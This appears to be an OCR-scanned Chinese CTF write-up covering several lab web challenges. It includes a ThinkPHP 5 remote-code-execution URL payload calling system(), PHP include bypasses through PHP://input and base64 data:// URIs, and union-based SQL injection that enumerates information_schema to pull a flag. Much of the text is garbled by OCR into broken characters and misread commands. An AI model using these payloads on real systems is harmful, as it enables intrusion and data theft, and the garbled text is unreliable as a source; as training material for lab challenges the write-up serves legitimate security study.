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AUEEEAMRER 1.php » RAAVIIETE, XV index.php :

BRBEEER T 1.php , 2 {F F Burpsuite U £ #E .

/ Request to http://111.198.29.45:45285

Forward Drop Intercept is on

Action

(Raw.| Headers

GET /1.php HTTP/1.1
Host: 111.198.29.45:45285

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0

Comment this item

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,*/*;gq=0.8
Accept-Language: zh-CN,zh;qg=0.8,zh-TW;g=0.7,2zh-HK;g=0.5,en-US;g=0.3,en;q=0.2

Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Send to Repeater J5¥ 1.php &N index.php :

Request

LRaw.. Headers Hex

GET /index.php| HTTP/1.1
Host: 111.198.29.45:45285

Riz¥IEH, £Responseik[El:kH7EZ| flag :

Response

LRaw.. Headers Hex Render

HTTP/1.1 302 Found

Date: Sun, 29 Mar 2020 10:21:09 GMT

Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.2.21

FLAG: flag{very baby web}
Location: 1l.php
Content-Length: 17

Connection: close

Content-Type: text/html; charset=UTF-8

Flag is hidden!
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JB B3 5

In this little training challenge, you are going to learn about the Robots exclusion standard.
The robots.txt file is used by web crawlers to check if they are allowed to crawl and index your website or only parts of it.
Sometimes these files reveal the directory structure instead protecting the content from being crawled.

Enjoy!

WRABMNIFERE robots.txt , VjlA: xxx/robots.txt :

User-agent: *
Disallow: /f10g.php

User-agent: Yandex
Disallow: *

A LAEEIF /fleg.php WIH, ViG] flag :

cyberpeace{e4d2c970c158ba9bc0507269e437de2e}

php_rce
SEERE: 2.0
BE R BHE

FEH R EE



JEBHEENL, FTIFIABE:

ThinkPHP V5

THEE—Y - AAPIF RIITHIS EREIESR
[ V5.0 BEAE 4% MRBBRT ]

ThinkPHPFIFEAIIRY +UAEREF FESZMNES

R T ThinkPHP 5.0 FRASHIHEZR, EIRILRAK rce JiR:
ThinkPHP5.x rec iR 417 5 S 3
FHSEXE L E, H#E#TpayloadF|fH:

?s=index/\think\App/invokefunction&function=call_user_func_array&vars[@]=system&vars[1][ ]=dir

Jpayload#4T T dir 74, KFIH 25T H R T30

favicon.ico index.php robots.txt router.php static favicon.ico index.php robots.txt router.php static

PATET, ATURAZRAE, # dir BEC8:

find name “flag"

/flag /flag

HRE Tflagi B, £ cat 7477


https://blog.csdn.net/qq_40884727/article/details/101452478

flag{thinkphp5_rce} flag{thinkphp5_rce}

%%?Uflag
Web_php_include

MEEZRE: 2.0
FEHKJE: XTCTF
BEH#R: HX

JRBNEEHL, FTIFIRIL:

<?php

show_source(__ FILE _);

echo $ GET[ 'hello’];

$page=$_GET[ 'page’];

while (strstr($page, "php://")) {

$page=str_replace("php://", "", $page);
}
include($page);
?>

G —BURRG, AT AR

1. B GETH XfEAFH A2 E hello Fl page

. HEATE hello IR ZE

3. strstr() E% php:// 1E $page I — I, FHR EFRF R R RIS
4. str_replace() BREEZE $page FHI php:// B AT

N

ﬁﬂi_‘
ERRE KT ARG 47 & B

?page=PHP:

system("1s");



1§ Fi Google ChromeffJ#fi{+-HackBarf% i# 2 44 :

LOAD SPLIT EXECUTE TEST -~ saLr - XSS -~

LIRL
http://111.198.29.45:363667page=PHP://input

ENClype

Enable POST application/x-www-form-urlencoded

Body
<7php system("Is");?>

include($page);
?>

fl4gisisish3r3.php index.php phpinfo.php

A LAE R U, BE flagisisish3r3.php A4

system("cat fl4gisisish3r3.php"

BHE W YRR :

{fapan>
</code><?php
§flag="ctf{876a5fca-96cé-4cbd-9075-46f0c89475d2}";
>

%%?Uflag



HE
data:// AT IAT i 4
fEF J5¥:: data://text/plain;base64, xxxx(base64%itd 5 HIFIE )

base4zi3

base16. base32. basetd

<?php system("ls")?>

#EF3  base6d

PDY9waHAge3lzdGVLECTscylpPzd=

?page=data:



base#R i3

base16. base32. basebtd

218 base6d FRIE  utfB(unicodeiEHB)

PD9waHAge31zdGVEECTJYXEQgZmwlZ2]lzaXNpe2gze jMucGhwIik/BPg==

BEREF I flag
warmup

MEEZRE: 20
B H¥XJ¥: HCTF 2018
BEH#R: HE



JEBHEENL, FTIFIABE:

7 N
.« > @& O

S 2 Hi fwriteup:
BUUCTF [HCTF 2018] WarmUp Web writeup
¥i% B % payload:

}
2> flag{25e7bce6005c4e0c983fb97297ac6e5a}

B3 flag

NewsCenter

HEERH: 2.0
B H®RJ: XCTF 4th-QCTF-2018
BEBR: WEEFRRE, W5 A % BT


https://blog.csdn.net/weixin_44037296/article/details/105169497

JA BN :

Hacker News

OVERVIEW

Search news

REHERIBEEHIE:

v <form action method="POST">
v=div class="mdl-textfield mdl-js-textfield mdl-textfield--floating-label is-upgraded” style="width: 1@0%;" data-upgraded=",MaterialTextfield"-
<input class="mdl-textfield__input" type="text" id="sample3" name="search" value="11"> == 5§

HAposT FRIES, ZASQLIEA :

News

Hello
Hello World!
Two Zero-Day Exploits Found After Someone Uploaded

Security researchers at Microsoft have unveiled details of two critical and important zero-day vulnerabilities that had recently
been

Facebook Admits Sharing User Data With 61 Tech Com

Facebook has admitted that the company gave dozens of tech companies and app developers special access to its user data
after publicly saying it had restricted outside companies to access such data back in 2015.

BEWERIER, AbHETBRE:



ZM T TR IERIEE

111.198.29.45 BRIT;EL B ISR,

HTTP ERROR 500

MERICFBAN 4 B, TUT R4

B

ZMTITEIERIEE
111.198.29.45 BRIFCEGELEER.

HTTP ERROF

https://blog.csdn.net/weixin_44

HINHFBEN 3, BEEDAE

111" union select 1,2,3#



Search news

search
111' union select 1,2,3#

News

Foo A3 NE AL, FRENE T B B AL B R

111" union select 1,database(),version()

news
5.5.61

%§§U§§ﬁﬁ§ﬁﬁ§ﬂﬁéﬁj@: news , Hiﬂgﬂﬂz 5.5.61, %Eﬂlﬁﬁ%?%ﬁﬁ%ﬁ?éﬁ:

111" union select 1,2,group _concat(schema_name) from information_schema.schemata

2

information_schema,news

RAEWMIEE, Bl news BUEEFHIRER.:



111" union select 1,2,group_concat(table _name) from information_schema.tables where table_schema=database()#

2

news,secret_table

BE secret_table EFHIFIE B :

111" union select 1,2,group_concat(column_name) from information_schema.columns where table_name="secret_table"#

2
id,fldg

BRIEAFNL: id f flag, BE flag PSR

111" union select 1,2,group_concat(fl4g) from news.secret table#

2
QCTF{sq1_inJec7ion_ezzz}

ﬁ%?ﬂflag
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